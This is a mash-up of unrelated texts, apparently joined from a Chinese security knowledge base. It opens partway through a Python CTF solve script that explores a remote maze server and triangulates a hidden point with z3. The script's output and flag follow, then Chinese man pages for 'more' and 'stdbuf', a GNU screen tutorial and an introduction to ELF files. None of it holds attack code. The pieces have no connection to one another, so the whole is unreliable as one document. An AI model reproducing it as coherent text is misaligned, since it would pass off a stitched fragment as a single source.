UP = "up"
DOWN = "down"
LEFT = "left"
RIGHT = "right"
MovementOptions = namedtuple('MovementOptions', [Direction.LEFT.value, Direction.RIGHT.value, Direction.UP.value, Direction.DOWN.value]) # Order matters for get_movement_options()
Coordinate = namedtuple('Coordinate', ['row', 'column'])
CoordinateDelta = namedtuple('CoordinateDelta', ['row_delta', 'column_delta'])
Backtrack = namedtuple('Backtrack', ['coordinate', 'opposite_direction'])
DistanceMarker = namedtuple('DistanceMarker', ['coordinate', 'distance_sqrt'])
class DirectionAttr:
""" Attributes of a direction """
OPPOSITES = {Direction.UP: Direction.DOWN, Direction.DOWN: Direction.UP, Direction.LEFT: Direction.RIGHT, Direction.RIGHT: Direction.LEFT}
def __init__(self, type: Direction, command: str, coord_delta: tuple):
self.type = type
self.command = command
self.row_delta = coord_delta[0]
self.col_delta = coord_delta[1]
@property
def opposite(self):
"""Returns the opposite direction type"""
return self.OPPOSITES[self.type]
DIRECTION_ATTRIBUTES = {
Direction.UP : DirectionAttr(Direction.UP, 'u', (0 , 1)),
Direction.DOWN : DirectionAttr(Direction.DOWN, 'd', (0 , -1)),
Direction.LEFT : DirectionAttr(Direction.LEFT, 'l', (-1 , 0)),
Direction.RIGHT : DirectionAttr(Direction.RIGHT, 'r', (1 , 0))
}
def print_maze(current_r: int, current_c: int):
""" Prints the maze to an HTML file """
with open("maze.html", "w") as f, io.StringIO() as temp:
temp.write(f"<div style=''>Current location: ({current_r}, {current_c})</div><br/>")
for c in range(MAZE_SIZE - 1, -1, -1):
for r in range(MAZE_SIZE):
if r == current_r and c == current_c:
temp.write("<span style='background-color:red'>*</span>")
elif is_visited(r, c):
temp.write("<span style='background-color:yellow'>@</span>")
else:
temp.write("<span color='light-gray'>.</span>")
temp.write("<br/>")
f.write("<div style='font-family: monospace;'>")
temp.seek (0)
shutil.copyfileobj (temp, f)
f.write("</div>")
def is_visited(r: int, c: int) -> bool:
""" Retruns True iff maze was visited at given coordinate """
return visited[r][c] == 1
def is_movement_possible(movement_options: MovementOptions, direction: Direction) -> bool:
""" Returns True iff movement to given direction using given movement options is possible """
return getattr(movement_options, direction.value)
def read_command():
""" Reads the input until it's possible to enter a command """
output = s.recvuntil("> What is your command?\n", drop = True)
if output.decode("utf-8").rstrip() != "":
log.info(output)
@lru_cache(maxsize=None)
def get_movement_options(r: int, c: int) -> MovementOptions:
""" Returns the available movement options from the current coordinate """
read_command()
s.sendline("i")
response = s.recvline()
match = re.search(r"l=([01]), r=([01]), u=([01]), d=([01])", response.decode("utf-8"))
return MovementOptions(*[True if x == '1' else False for x in match.groups()])
def go_to(direction: Direction):
""" Moves the player in the given direction """
if direction is None:
return
read_command()
s.sendline(DIRECTION_ATTRIBUTES[direction].command)
response = s.recvline()
try:
can_move = int(response.strip())
assert(can_move == 1)
except ValueError:
log.error (response)
raise
def get_current_coordinates() -> Coordinate:
""" Retrieves the current coordinates given by the server """
read_command()
s.sendline("c")
coordinates = s.recvline()
r, c = coordinates.decode("utf-8").strip("()\n ").split(",")
return Coordinate(int(r), int(c))
def get_distance_from_treasure() -> int:
""" Returns the distance from the treasure raised to the power of two if available, otherwise None """
read_command()
s.sendline("g")
line = s.recvline()
line = line.decode("utf-8").rstrip()
if line == "far far away":
return None
match = re.search(r"Your distance from the treasure is .+ (\d+)", line)
return int(match.group(1))
def try_to_find_treasure(known_distances: set) -> bool:
""" Attempts to triangulate the treasure given the set of known distances, returns True iff successful """
min_samples = 3 # Minimal number of samples needed to triangulate a point
if len(known_distances) < min_samples:
return False
solver = Solver()
dest_r = Int("dest_r")
dest_c = Int("dest_c")
# We use random samples since sometimes some of the samples create an unsolvable equation (due to accuracy issues?)
samples = random.sample(known_distances, k = min_samples)
log.info("Trying to triangulate treasure using samples:\n{}".format(samples))
for sample in samples:
solver.add((sample.coordinate.row - dest_r)**2 + (sample.coordinate.column - dest_c)**2 == sample.distance_sqrt) # Euclidean distance without sqrt
if solver.check() == sat:
# Found a location, try to submit it
model = solver.model()
treasure = Coordinate(model[dest_r], model[dest_c])
log.info("Treasure should be at ({}, {})".format(treasure.row, treasure.column))
read_command()
s.sendline("s")
s.recvuntil("> What is your solution?\n")
s.sendline("{}, {}".format(treasure.row, treasure.column))
output = s.recvall()
log.success (output.decode("utf-8"))
return True
else:
return False
def search_for_treasure(start_r: int, start_c: int):
""" Explores the maze in search of the treasure """
stack = [] # History of locations, used for backtracking
known_distances = set() # Set of known distances from a coordinate to the treasure
counter = 0
check_treasure_distance_cadence = 50 # Check for treasure every x steps
print_maze_cadence = 100 # Print maze every x steps
stack.append(Backtrack(Coordinate(start_r, start_c), None))
with log.progress('Searching for treasure...') as p:
while len(stack) > 0:
p.status("Number of steps: {}".format(counter))
backtrack = stack[-1]
coord = backtrack.coordinate
if counter % print_maze_cadence == 0:
assert(get_current_coordinates() == coord) # Sanity - make sure we are where we think we are
print_maze(coord.row, coord.column)
if counter % check_treasure_distance_cadence == 0:
distance_sqrt = get_distance_from_treasure()
if distance_sqrt is not None:
dm = DistanceMarker(coord, distance_sqrt)
if dm not in known_distances:
log.info("({}, {}): Distance from treasure is sqrt({})".format(coord.row, coord.column, distance_sqrt))
check_treasure_distance_cadence = 2 # We are close, start looking for treasure more often
known_distances.add(dm)
if try_to_find_treasure(known_distances):
print_maze(coord.row, coord.column)
break
visited[coord.row][coord.column] = 1
movement_options = get_movement_options(coord.row, coord.column) # Where can we move to?
for direction_attr in DIRECTION_ATTRIBUTES.values():
new_row = coord.row + direction_attr.row_delta
new_col = coord.column + direction_attr.col_delta
if is_movement_possible(movement_options, direction_attr.type) and not is_visited(new_row, new_col):
go_to(direction_attr.type)
stack.append(Backtrack(Coordinate(new_row, new_col), direction_attr.opposite))
break
else: # Can't move anywhere new -> backtrack
backtrack = stack.pop()
go_to(backtrack.opposite_direction)
counter += 1
print_maze(coord.row, coord.column)
visited = [[0] * MAZE_SIZE for _ in range(MAZE_SIZE)]
s = remote("maze.csa-challenge.com", 80)
s.recvuntil("Oh, and just in case it will help you - your starting position is:")
location = s.recvline()
start_r, start_c = location.decode("utf-8").strip("()\n ").split(",")
log.info(f"Starting from ({start_r}, {start_c})")
log.info("Start time: {}".format(datetime.datetime.now()))
search_for_treasure(int(start_r), int(start_c))
log.info("End time: {}".format(datetime.datetime.now()))
```
Implementation notes:
* In many cases backtracking is implemented using recursion. However, in this case, the recursion depth is too deep and a stack based backtrack algorithm is implemented instead
* The code uses `z3` to triangulate the treasure given at least three points. To avoid precision errors, if `z3` is unable to solve the set of equations using the first three samples found, the code will continue searching for samples and trying three random samples until the equations can be solved.
* Every once in a while, the code checks its calculated location against the server's location as sanity
* The code starts by checking the distance from the treasure via `g` every 50 steps, for performance reasons. Once `g` returns an actual distance, the cadence is reduced to 2 steps in order to find additional samples quickly
* The code logs the current known map every 100 steps
* MovementOptions received via the `i` command are cached to avoid an additional server request while backtracking
The output:
```console
root@kali:/media/sf_CTFs/checkpoint/Amaze_me# python3 solve.py
[+] Opening connection to maze.csa-challenge.com on port 80: Done
[*] Starting from (80, 219)
[*] Start time: 2020-06-01 19:36:10.739195
[+] Searching for treasure...: Done
[*] (66, 139): Distance from treasure is sqrt(2249)
[*] (66, 141): Distance from treasure is sqrt(2173)
[*] (65, 142): Distance from treasure is sqrt(2053)
[*] Trying to triangulate treasure using samples:
[DistanceMarker(coordinate=Coordinate(row=66, column=141), distance_sqrt=2173), DistanceMarker(coordinate=Coordinate(row=65, column=142), distance_sqrt=2053), DistanceMarker(coordinate=Coordinate(row=66, column=139), distance_sqrt=2249)]
[*] Treasure should be at (23, 159)
[+] Receiving all data: Done (102B)
[*] Closed connection to maze.csa-challenge.com port 80
[+] Congrats you found the treasure. your flag is:
CSA{1_Wa5_50_aMa23D_THaT_Y0U_F1ND_Y0UR_WaY_1N_MY_Ma23}
[*] End time: 2020-06-01 19:42:58.100695
```
Map for the solution above :

Flag: `CSA{1_Wa5_50_aMa23D_THaT_Y0U_F1ND_Y0UR_WaY_1N_MY_Ma23}`
|
sec-knowleage
|
.\" Copyright (c) 1988, 1990 The Regents of the University of California.
.\" Copyright (c) 1988 Mark Nudleman
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" @(#)more.1 5.15 (Berkeley) 7/29/91
.\"
.\" Copyright (c) 1992 Rik Faith (faith@cs.unc.edu)
.\"
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH MORE 1 2014年2月 util\-linux 用户命令
.SH 名称
more \- 用于屏幕阅读的文件阅览过滤器
.SH 描述
\fBmore\fP [选项] \fI文件\fP...
.SH 描述
\fBmore\fP 是一个用于一次阅览一屏幕文字的分页过滤器。该版本功能十分基本。用户应当意识到 \fBless\fP(1) 提供了对 \fBmore\fP(1)
的模拟,同时添加了多方面的改进。
.SH 选项
选项将同时从环境变量 \fBMORE\fP 中获取(请确保它们以短横线开头(\fB\-\fP)),但是命令行选项将会覆盖这里的设定。
.TP
\fB\-d\fP
在用户按下无效按键时,提示“[Press space to continue, 'q' to quit.]”并显示“[Press 'h' for
instructions.]”而非在扬声器响铃。
.TP
\fB\-l\fP
不要在任何包含 \fB\&^L\fP(form feed)字符的行后暂停。
.TP
\fB\-f\fP
对逻辑行而非屏幕行进行计数(即,过长的行将不被折叠)。
.TP
\fB\-p\fP
不进行卷屏,而是清除整个屏幕后显示文本。请注意该选项在可执行程序名为 \fBpage\fP 时将自动开启。
.TP
\fB\-c\fP
不进行卷屏,而是从每一屏的顶部开始显示文本,每一行显示过后其剩余部分便会被清除。
.TP
\fB\-s\fP
将重复的空行压缩为一行。
.TP
\fB\-u\fP
不显示下划线。
.TP
\fB\-\fP\fI数字\fP
指定要使用的屏幕大小应当在给出的行数以内。
.TP
\fB+\fP\fI数字\fP
从给定的行号开始显示每个文件。
.TP
\fB+/\fP\fI字符串\fP
在开始显示每个文件之前先搜索给定 \fI字符串\fP。
.SH 命令
\fBmore\fP 的交互式命令基于 \fBvi\fP(1)。某些命令可以前置一个十进制数字,在以下的描述中被称作“k”。在下面的描述中,\fB^X\fP 代表
\fBcontrol\-X\fP。
.PP
.RS
.PD 1
.TP 10
\fBh\fP\ 或 \fB\ ?\fP
帮助;显示这些命令的一个摘要。如果您忘记了所有其它的命令,至少要记得这一个。
.TP
\fB空格\fP
显示下面 k 行文本。
.TP
\fBz\fP
显示下面 k 行文本。默认值为当前屏幕大小。参数将变为新的默认值。
.TP
\fB回车\fP
显示下面 k 行文本。默认值为1。参数将变为新的默认值。
.TP
\fBd\fP\ 或 \fB\ \&^D\fP
卷屏 k 行。默认使用当前卷屏大小,初始值为 11。参数将变为新的默认值。
.TP
\fBq\fP\ 或\fB\ Q\fP\ 或\fB\ INTERRUPT\fP
退出。
.TP
\fBs\fP
向前跳过 k 行文本。默认值为 1。
.TP
\fBf\fP
向前跳过 k 屏文本。默认值为 1。
.TP
\fBb\fP\ 或\fB\ \&^B\fP
向前跳过 k 屏文本。默认值为 1。只对文件有效,对管道不可用。
.TP
\&\fB'\fP
前往上一个搜索起始的地方。
.TP
\fB=\fP
显示当前行号。
.TP
\fB\&/模式字符串\fP
搜索第 k 个匹配给定正则表达式的字符串。默认值为 1。
.TP
\fBn\fP
搜索第 k 个匹配先前给定的正则表达式的字符串。默认值为 1。
.TP
\fB!命令\fP\ 或\fB\ :!命令\fP
在子 shell 中运行给定 \fI命令\fP。
.TP
\fBv\fP
在当前行启动一个编辑器。为选定一个具体的编辑器,如果 \fBVISUAL\fP 环境变量被设定则使用其值,否则检查 \fBEDITOR\fP
的值;若两者均未定义,则默认使用 \fBvi\fP。
.TP
\fB\&^L\fP
重绘屏幕。
.TP
\fB:n\fP
前往下数第 k 个文件。默认值为1。
.TP
\fB:p\fP
前往上数第 k 个文件。默认值为1。
.TP
\fB:f\fP
显示当前文件名和行号。
.TP
\fB\&.\fP
重复上一个命令
.SH 环境
如果存在的话,\fBmore\fP 命令会使用下列环境变量:
.TP
\fBMORE\fP
该变量可以提供 \fBmore\fP 使用的参数。
.TP
\fBSHELL\fP
当前使用的 shell(通常由 shell 在登录时设置)。
.TP
\fBTERM\fP
终端类型,该值由 \fBmore\fP 使用以确定操作屏幕所需的终端特征信息。
.TP
\fBVISUAL\fP
用户偏好的编辑器。它将在用户按下 \fIv\fP 键时被调用。
.TP
\fBEDITOR\fP
\fBVISUAL\fP 未定义时所选择的编辑器。
.SH 参见
\fBless\fP(1), \fBvi\fP(1)
.SH 作者
Eric Shienbrood, 加州伯克利大学
.br
由 Geoff Peck, UCB 修订,添加了下划线,格式修正为单空格
.br
由 Foderaro, UCB 修订,添加 \-c 和 MORE 环境变量部分
.SH 历史
\fBmore\fP 命令出现在 3.0BSD 中。该手册页记录了 \fBmore\fP 5.19 版(Berkeley 6/29/88),即当前用于 Linux
社区的版本。文档来源于数个其它版本的手册页以及对源代码的大量审查。
.SH 可用性
more 命令是 util\-linux 软件包的一部分,可以从
.UR ftp://\:ftp.kernel.org\:/pub\:/linux\:/utils\:/util\-linux/
Linux 内核存档
.UE .
网站上获取。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH STDBUF 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
stdbuf \- 运行给定的命令,同时改变该命令对应标准输入输出流的缓冲操作配置。
.SH 概述
\fBstdbuf\fP \fI\,选项\/\fP... \fI\,命令\/\fP
.SH 描述
.\" Add any additional description here
.PP
运行给定的命令,同时改变该命令对应标准输入输出流的缓冲操作配置。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-i\fP, \fB\-\-input\fP=\fI\,模式\/\fP
调整标准输入流缓冲区
.TP
\fB\-o\fP, \fB\-\-output\fP=\fI\,模式\/\fP
调整标准输出流缓冲区
.TP
\fB\-e\fP, \fB\-\-error\fP=\fI\,模式\/\fP
调整标准错误流缓冲区
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
若模式是 "L",则相应的流将是行缓冲模式。标准输入流下此选项无效。
.PP
若模式是 "0",则相应的流将不缓冲。
.PP
否则模式应当是一个数字,后面可以加上以下单位之一:KB 1000、K 1024、MB 1000*1000、M 1024*1024,G、T、P、E、Z、Y
以此类推。也可以使用二进制前缀:KiB=K、MiB=M,以此类推。在此情况下,相应的流将使用完全缓冲模式,缓冲区大小为指定模式个字节。
.PP
注意:若指定的命令调整了其自身的标准流缓冲区(例如 tee 命令),则此操作会覆盖由 "stdbuf" 工具所做出的相应设置。还有某些过滤器程序(如
"dd" 和 "cat" 之类)不使用输入输出流,因此不受 "stdbuf" 设置的影响。
.SH 范例
\fBtail \-f access.log | stdbuf \-oL cut \-d \(aq \(aq \-f1 | uniq\fP
.br
这样会立刻显示 access.log 中独特的条目。
.SH BUGS
在基于 GLIBC 的平台上,指定缓冲大小(即使用全缓冲模式)通常会导致未定义的操作。
.SH 作者
由 Padraig Brady 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/stdbuf>
.br
或者在本地使用: info \(aq(coreutils) stdbuf invocation\(aq
|
sec-knowleage
|
screen
===
用于命令行终端切换
## 补充说明
**Screen** 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
**会话恢复**
只要Screen本身没有终止,在其内部运行的会话都可以恢复。这一点对于远程登录的用户特别有用——即使网络连接中断,用户也不会失去对已经打开的命令行会话的控制。只要再次登录到主机上执行screen -r就可以恢复会话的运行。同样在暂时离开的时候,也可以执行分离命令detach,在保证里面的程序正常运行的情况下让Screen挂起(切换到后台)。这一点和图形界面下的VNC很相似。
**多窗口**
在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。Screen实现了基本的文本操作,如复制粘贴等;还提供了类似滚动条的功能,可以查看窗口状况的历史记录。窗口还可以被分区和命名,还可以监视后台窗口的活动。 会话共享 Screen可以让一个或多个用户从不同终端多次登录一个会话,并共享会话的所有特性(比如可以看到完全相同的输出)。它同时提供了窗口访问权限的机制,可以对窗口进行密码保护。
GNU's Screen 官方站点:http://www.gnu.org/software/screen/
### 语法
```shell
# screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
```
### 选项
```shell
-A 将所有的视窗都调整为目前终端机的大小。
-d <作业名称> 将指定的screen作业离线。
-h <行数> 指定视窗的缓冲区行数。
-m 即使目前已在作业中的screen作业,仍强制建立新的screen作业。
-r <作业名称> 恢复离线的screen作业。
-R 先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-s 指定建立新视窗时,所要执行的shell。
-S <作业名称> 指定screen作业的名称。
-v 显示版本信息。
-x 恢复之前离线的screen作业。
-ls或--list 显示目前所有的screen作业。
-wipe 检查目前所有的screen作业,并删除已经无法使用的screen作业。
```
### 常用screen参数
```shell
screen -S yourname -> 新建一个叫yourname的session
screen -ls -> 列出当前所有的session
screen -r yourname -> 回到yourname这个session
screen -d yourname -> 远程detach某个session
screen -d -r yourname -> 结束当前session并回到yourname这个session
```
在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。
```shell
C-a ? -> 显示所有键绑定信息
C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
C-a n -> Next,切换到下一个 window
C-a p -> Previous,切换到前一个 window
C-a 0..9 -> 切换到第 0..9 个 window
Ctrl+a [Space] -> 由视窗0循序切换到视窗9
C-a C-a -> 在两个最近使用的 window 间切换
C-a x -> 锁住当前的 window,需用用户密码解锁
C-a d -> detach,暂时离开当前session,将目前的 screen session (可能含有多个 windows) 丢到后台执行,并会回到还没进 screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行,即使 logout 也不影响。
C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去。
C-a w -> 显示所有窗口列表
C-a t -> time,显示当前时间,和系统的 load
C-a k -> kill window,强行关闭当前的 window
C-a -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像用使用 [vi 一样
C-b Backward,PageUp
C-f Forward,PageDown
H(大写) High,将光标移至左上角
L Low,将光标移至左下角
0 移到行首
$ 行末
w forward one word,以字为单位往前移
b backward one word,以字为单位往后移
Space 第一次按为标记区起点,第二次按为终点
Esc 结束 copy mode
C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
```
### 使用 screen
**安装screen**
流行的Linux发行版(例如Red Hat Enterprise Linux)通常会自带screen实用程序,如果没有的话,可以从GNU screen的官方网站下载。
```shell
[root@TS-DEV ~]# yum install screen
[root@TS-DEV ~]# rpm -qa|grep screen
screen-4.0.3-4.el5
[root@TS-DEV ~]#
```
**创建一个新的窗口**
安装完成后,直接敲命令screen就可以启动它。但是这样启动的screen会话没有名字,实践上推荐为每个screen会话取一个名字,方便分辨:
```shell
[root@TS-DEV ~]# screen -S david
```
screen启动后,会创建第一个窗口,也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。当然,也可以在screen命令之后加入你喜欢的参数,使之直接打开你指定的程序,例如:
```shell
[root@TS-DEV ~]# screen vi david.txt
```
screen创建一个执行vi david.txt的单窗口会话,退出vi 将退出该窗口/会话。
**查看窗口和窗口名称**
打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。如果使用文本终端,这个列表会列在屏幕左下角,如果使用X环境下的终端模拟器,这个列表会列在标题栏里。窗口列表的样子一般是这样:
```shell
0$ bash 1-$ bash 2*$ bash
```
这个例子中我开启了三个窗口,其中*号表示当前位于窗口2,-号表示上一次切换窗口时位于窗口1。
Screen默认会为窗口命名为编号和窗口中运行程序名的组合,上面的例子中窗口都是默认名字。练习了上面查看窗口的方法,你可能就希望各个窗口可以有不同的名字以方便区分了。可以使用快捷键C-a A来为当前窗口重命名,按下快捷键后,Screen会允许你为当前窗口输入新的名字,回车确认。
**会话分离与恢复**
你可以不中断screen窗口中程序的运行而暂时断开(detach)screen会话,并在随后时间重新连接(attach)该会话,重新控制各窗口中运行的程序。例如,我们打开一个screen窗口编辑/tmp/david.txt文件:
```shell
[root@TS-DEV ~]# screen vi /tmp/david.txt
```
之后我们想暂时退出做点别的事情,比如出去散散步,那么在screen窗口键入C-a d,Screen会给出detached提示:
暂时中断会话
半个小时之后回来了,找到该screen会话:
```shell
[root@TS-DEV ~]# screen -ls
```
重新连接会话:
```shell
[root@TS-DEV ~]# screen -r 12865
```
一切都在。
当然,如果你在另一台机器上没有分离一个Screen会话,就无从恢复会话了。这时可以使用下面命令强制将这个会话从它所在的终端分离,转移到新的终端上来:
**清除dead 会话**
如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话:
**关闭或杀死一个Screen会话**
正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用`ctrl`+`a` 键,然后按下`k`键,最后当提示你是否要杀死这个会话时按下`y`键,这个快捷键会杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。
如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。
除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。
此外,这里再介绍另外一种快速杀死一个Screen会话的命令:
```shell
[root@TS-DEV ~]# screen -ls #列出存在的会话
[root@TS-DEV ~]# screen -XS "会话id或者名称" quit
```
**示例:**
```shell
[root@TS-DEV ~]# screen -ls
There are screens on:
11235.test (01/25/2021 03:35:31 PM) (Detached)
1 Sockets in /run/screen/S-root.
[root@TS-DEV ~]# screen -XS 11235 quit
#或者
[root@TS-DEV ~]# screen -XS test quit
```
### screen 高级应用
**会话共享**
还有一种比较好玩的会话恢复,可以实现会话共享。假设你在和朋友在不同地点以相同用户登录一台机器,然后你创建一个screen会话,你朋友可以在他的终端上命令:
```shell
[root@TS-DEV ~]# screen -x
```
这个命令会将你朋友的终端Attach到你的Screen会话上,并且你的终端不会被Detach。这样你就可以和朋友共享同一个会话了,如果你们当前又处于同一个窗口,那就相当于坐在同一个显示器前面,你的操作会同步演示给你朋友,你朋友的操作也会同步演示给你。当然,如果你们切换到这个会话的不同窗口中去,那还是可以分别进行不同的操作的。
**会话锁定与解锁**
Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输入屏幕都不会再有反应了。但是要注意虽然屏幕上看不到反应,但你的输入都会被Screen中的进程接收到。快捷键C-a q可以解锁一个会话。
也可以使用C-a x锁定会话,不同的是这样锁定之后,会话会被Screen所属用户的密码保护,需要输入密码才能继续访问这个会话。
**发送命令到screen会话**
在Screen会话之外,可以通过screen命令操作一个Screen会话,这也为使用Screen作为脚本程序增加了便利。关于Screen在脚本中的应用超出了入门的范围,这里只看一个例子,体会一下在会话之外对Screen的操作:
```shell
[root@TS-DEV ~]# screen -S sandy -X screen ping www.baidu.com
```
这个命令在一个叫做sandy的screen会话中创建一个新窗口,并在其中运行ping命令。
**屏幕分割**
现在显示器那么大,将一个屏幕分割成不同区域显示不同的Screen窗口显然是个很酷的事情。可以使用快捷键C-a S将显示器水平分割,Screen 4.00.03版本以后,也支持垂直分屏,快捷键是C-a |。分屏以后,可以使用C-a <tab>在各个区块间切换,每一区块上都可以创建窗口并在其中运行进程。
可以用C-a X快捷键关闭当前焦点所在的屏幕区块,也可以用C-a Q关闭除当前区块之外其他的所有区块。关闭的区块中的窗口并不会关闭,还可以通过窗口切换找到它。
**C/P模式和操作**
screen的另一个很强大的功能就是可以在不同窗口之间进行复制粘贴了。使用快捷键C-a <Esc>或者C-a [可以进入copy/paste模式,这个模式下可以像在vi中一样移动光标,并可以使用空格键设置标记。其实在这个模式下有很多类似vi的操作,譬如使用/进行搜索,使用y快速标记一行,使用w快速标记一个单词等。关于C/P模式下的高级操作,其文档的这一部分有比较详细的说明。
一般情况下,可以移动光标到指定位置,按下空格设置一个开头标记,然后移动光标到结尾位置,按下空格设置第二个标记,同时会将两个标记之间的部分储存在copy/paste buffer中,并退出copy/paste模式。在正常模式下,可以使用快捷键C-a ]将储存在buffer中的内容粘贴到当前窗口。
**更多screen功能**
同大多数UNIX程序一样,GNU Screen提供了丰富强大的定制功能。你可以在Screen的默认两级配置文件/etc/screenrc和$HOME/.screenrc中指定更多,例如设定screen选项,定制绑定键,设定screen会话自启动窗口,启用多用户模式,定制用户访问权限控制等等。如果你愿意的话,也可以自己指定screen配置文件。
以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。
|
sec-knowleage
|
# ELF 文件
> 本部分内容来源于 ELF 1.2 标准,内容经过一定的修改与整理,主要参考文献如下
>
> 1. ELF 文件格式分析,北京大学,滕启明
> 2. ELF-摧毁圣诞
## 简介
ELF (Executable and Linkable Format)文件,也就是在 Linux 中的目标文件,主要有以下三种类型
- 可重定位文件(Relocatable File),包含由编译器生成的代码以及数据。链接器会将它与其它目标文件链接起来从而创建可执行文件或者共享目标文件。在 Linux 系统中,这种文件的后缀一般为 `.o` 。
- 可执行文件(Executable File),就是我们通常在 Linux 中执行的程序。
- 共享目标文件(Shared Object File),包含代码和数据,这种文件是我们所称的库文件,一般以 `.so` 结尾。一般情况下,它有以下两种使用情景:
- 链接器(Link eDitor, ld)可能会处理它和其它可重定位文件以及共享目标文件,生成另外一个目标文件。
- 动态链接器(Dynamic Linker)将它与可执行文件以及其它共享目标组合在一起生成进程镜像。
> 关于Link eDitor的命名,https://en.wikipedia.org/wiki/GNU_linker
目标文件由汇编器和链接器创建,是文本程序的二进制形式,可以直接在处理器上运行。那些需要虚拟机才能够执行的程序(Java)不属于这一范围。
这里我们主要关注于 ELF 的文件格式。
### 文件格式
目标文件既会参与程序链接又会参与程序执行。出于方便性和效率考虑,根据过程的不同,目标文件格式提供了其内容的两种并行视图,如下
首先,我们来**关注一下链接视图**。
文件开始处是 ELF 头部( **ELF Header**),它给出了整个文件的组织情况。
如果程序头部表(Program Header Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。
节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。
节区头部表(Section Header Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。
这里给出一个关于链接视图比较形象的展示
对于**执行视图**来说,其主要的不同点在于没有了section,而有了多个segment。其实这里的 segment 大都是来源于链接视图中的 section。
注意:
> 尽管图中是按照 ELF 头,程序头部表,节区,节区头部表的顺序排列的。但实际上除了 ELF 头部表以外,其它部分都没有严格的顺序。
### 数据形式
